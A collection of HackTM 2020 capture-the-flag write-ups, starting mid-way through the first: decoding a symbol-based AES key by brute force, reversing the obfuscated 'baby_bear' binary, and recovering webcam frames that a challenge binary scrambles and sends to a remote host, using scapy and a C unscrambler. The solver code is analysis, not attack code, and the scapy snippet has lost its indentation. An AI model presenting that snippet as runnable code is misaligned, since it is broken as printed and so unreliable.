We explored many different ideas as to how the key is derived. Looking up the image in stega tools showed nothing interesting. Pretty quickly we reached the conclusion that there is an upper part and a lower part to each symbol. The top can be one of four characters, the bottom can be one of five characters. Interestingly, the symbols can be sequenced using the number of lines per symbol. A special curved character could signify the zero character (when both parts are empty). The three pixelated symbols are unknown, we probably need to bruteforce them once more information is known.

In total there are 59 symbols. Each one can be one of 20 values, resulting in 20^59 possible combinations (5.764608e+76). This was suspiciously close to half of the representation space of 256bit keys – 1.157921e+77. Since the bottom has 5 possible “digits” and the top has 4, we can look at the symbols as two-digit base5 numbers with the top character being more significant (if we look at it the other way round we get values above 20). Now we can represent the symbol array as 59 base20 digits, which we did here:

DIGITS = [19, 3, 10, 15, 2, -6, 16, 16, 18, 12, 19, 6, 19, 12, 8, -6, 5, 8, 17, 18, 18, 5, 9, 3, 11, 10, 1, 10, 10, 0, 10, -6, 0, 8, 18, 10, 0, 15, 18, 5, 18, 14, 19, 1, 1, 0, 4, 6, 15, 4, 11, 16, 10, 8, 14, 5, 13, 16, 9]

Now we took a leap of faith and assumed the key is zero-extended, meaning the key is prepended with a 0 bit. Therefore we just need to plug in the calculated key as is. The only thing left is to loop over the pixelated symbols and look for a plaintext which includes HackTM.

from Crypto.Cipher import AES

DIGITS = [19, 3, 10, 15, 2, -6, 16, 16, 18, 12, 19, 6, 19, 12, 8, -6, 5, 8, 17, 18, 18, 5, 9, 3, 11, 10, 1, 10, 10, 0, 10, -6, 0, 8, 18, 10, 0, 15, 18, 5, 18, 14, 19, 1, 1, 0, 4, 6, 15, 4, 11, 16, 10, 8, 14, 5, 13, 16, 9]
cipher = '059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode("hex")
iv = '42042042042042042042042042042042'.decode('hex')

def get_key_from_digits(digits):
    key = 0
    for i in range(len(digits)):
        key += digits[len(digits) - 1 - i] * (20 ** i)

    key = hex(key)
    key = key[2:-1]
    return key

def decrypt(cipher, key):
    key = key.decode('hex')
    aes = AES.new(key,AES.MODE_CBC, iv)
    return aes.decrypt(cipher)

for i in range(20):
    for j in range(20):
        for k in range(20):
            digits = DIGITS
            digits[5], digits[15], digits[31] = i,j,k
            if 'HackTM' in decrypt(cipher, get_key_from_digits(digits)):
                print decrypt(cipher, get_key_from_digits(digits))

After under a second, the output is:

HackTM{can_1_h@ve_y0ur_numb3r_5yst3m_??}000000000000000000000000

baby_bear

Baby Bear

Framework

baby_bear challenge was classified as reversing challenge. The file was given and was 64-bit x86-64 statically linked file.
In order to get the flag, it was needed to connect a remote session and challenge the remote session baby_bear process. Runnning readelf on the baby_bear file find two sections, one of them is UPX0 and the other is bss. After we’ve extracted the UPX section is was found that this is a wrong analyze of readelf and not a real UPX-packed executable. No libc is linked. All communication etc. is done via direct syscalls.

First Look

At the beginning, the process opened /dev/urandom and read 0x10 bytes. Afterward it takes those bytes and convert them to a bit stream.
At the end of the initialization state the start procedure jumps to the next part of the program.
The next part is a number of small assembly snippets, each of which implements a different obfuscated check for whether the next bit in the input stream is zero of one, and performs some operations as a result. Operations can include writing a bit to the output stream, and jumping to another snippet. There are a lot of different snippets, which jump to each other, and it is not clear what the overall algorithm is.

running the baby_bear file result is

$ ./baby_bear

and wait for user input.

Deeper inspection

The only real function is the one at at 0x4000B0.
This function write an input byte of 0 or 1 to the output stream, and if the number of bytes written to the output is 0x2E, it stops the ‘calculation’ process, and starts the input and checking process.
It asks the user for some input bytes, then runs the same calculation process it ran on
the random bytes on the input.
If the output of the two algorithms are the same (0x2E bytes) the flag is retrieved.
All the code snippets can read bits from the input stream, do some calculations and call another snippet or call the write to memory function.

Solving

In the call/jump flow we assume no function is returned. So we reversed all the code snippet and translate them to python, where any jump or call converted to call the correlated snippet function.
After we got a python script which emulate the same output as the algorithm as the baby_bear binary, we built a table of all the inputs bitstreams which are less than 8 bits and call to the start of the algorithm in the 2nd time. Because this algorithm is deterministic and consume each bit only once, we were able to concatenate multiple bitstreams from the input in order to get the requested output.
Now we just had to split the bitstream baby_bear wrote and find in our table. and pack it back to a 19 bytes stream and write it to the remote baby_bear process stdin.

ananas

hackTM2020 ananas writeup

We are given a ananas.pcapng packet capture and a hint that a camera/video is involved…

1. obtaining a binary

this looks like a windows binary, so we save the binary into ananas.exe

> file ananas.exe
ananas.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

and indeed, it is a windows executable binary.

2. static analysis of ananas.exe

After some analysis in IDA, we note that there are some send and recv operations involved and also some frame grabber code used for capturing a 90×160 sized images.
– 90×160 = 14400 pixel are grabbed in grab_pixels
– they are converted into grayscale, resulting in an array of 14400 bytes


lets examine the obfuscate_and_send() function:


So it seems that the following steps take place for each frame of size 90×160:

  1. 14400 pixels grayscale are grabbed
  2. a 4 bytes ‘key’ is received from a peer
  3. this ‘key’ is used in (next_index() % i) to derive an index to be swapped
  4. the current pixel is swapped with whatever index is obtained in step 3
  5. the obfuscated grayscale data is sent over the socket

Lets see if this make sense in the remainder of the packet capture:


We see:
1. 4 bytes are sent from 134.209.225.118. This matches the key bytes
2. a payload of 14120 bytes is sent to 134.209.225.118
3. a payload of 280 bytes is sent to 134.209.225.118

so, we receive 4 bytes and send out 14400 bytes. This matches our static analysis

In order to retrieve the grayscale frames we need to:

  • extract each 14400 bytes payload
  • extract the corresponding 4 bytes key
  • perform a deobfuscation of the payload

3. Extracting payload frames and keys

we used scapy in order to dump each key into a keyfile_X and each 14440 bytes into a packet_X files:

from scapy.all import *
with PcapReader("ananas.pcapng") as pcap_reader:
for pkt in pcap_reader:
if pkt.haslayer(TCP) and pkt[TCP].sport == 18812 and pkt[TCP].flags == "PA":
open("keyfile_%d" % index, "wb").write(pkt[Raw].load)
elif pkt.haslayer(TCP) and pkt[TCP].dport == 18812 and pkt[TCP].flags == "A" and pkt.haslayer(Raw) and len(pkt[Raw].load) == 14120:
packet_data = pkt[Raw].load
elif pkt.haslayer(TCP) and pkt[TCP].dport == 18812 and pkt[TCP].flags == "PA" and pkt.haslayer(Raw) and len(pkt[Raw].load) == 280:
packet_data += pkt[Raw].load
open("packet_%d" % index, "wb").write(packet_data)
packet_data = b""
index += 1

4. Deobfuscating the packets

when we examine the next_index() function, it is clear that for each initial key, the sequence of the resulting 14399 swap indices can be inferred
by running the next_index() on that initial key and collecting the indices.

Given those 14399 index-pairs, how do we reverse the obfuscation?

Let’s try an example. Assume we apply the following sequence of swaps, in that order:

(0, 30)  //pixel[0] is swapped with pixel[30]
(30, 70) // pixel[30] (aka pixel[0]) is swapped with pixel[70]

this results in:

pixel[0]  ended up in pixel_obf[70]
pixel[30] ended up in pixel_obf[0]
pixel[70] ended up in pixel_obf[30]

now, if we apply the swaps in reverse from the last one, we get:

(30, 70)
(0, 30)
pixel_obf[70] ended up in pixel[0]
pixel_obf[0]  ended up in pixel[30]
pixel_obf[30] ended up in pixel[70]

which is exactly the original order!

The following C code opens keyfile and packet.obf, uses the key to generate and collect 14399 index swaps and then applies the swaps in the reverse order:

#define BUFSIZE 14400
int main(int argc, char** argv) {
int inkeyfd = open(argv[1], O_RDWR); // keyfile
int infd = open(argv[2], O_RDWR);  //packet.obf
int outfd = open(argv[3], O_RDWR | O_CREAT, 0666); //packet.deobf

char buffer[BUFSIZE];
read(inkeyfd, buffer, 4);
key = *(unsigned int*)buffer;
printf("key: %x\n", key);

read(infd, buffer, BUFSIZE);

int swaps[BUFSIZE][2];

for (int i = BUFSIZE - 1 ; i > 0; --i) {
int v7 = ((unsigned short)next_index()) % i;

swaps[i][0] = i;
swaps[i][1] = v7;
}

for(int i = 1; i < BUFSIZE; ++i) {
        char v6 = buffer[swaps[i][1]];
        buffer[swaps[i][1]] = buffer[swaps[i][0]];
        buffer[swaps[i][0]] = v6;
    }

    write(outfd, buffer, BUFSIZE);
    return 0;
}

running the above C code on each packet_X file produces a de-obfuscated file packet_X.deobf which we can convert into a png image and combine all images into an animated gif.

this produces a short film of a guy showing us the flag on his phone.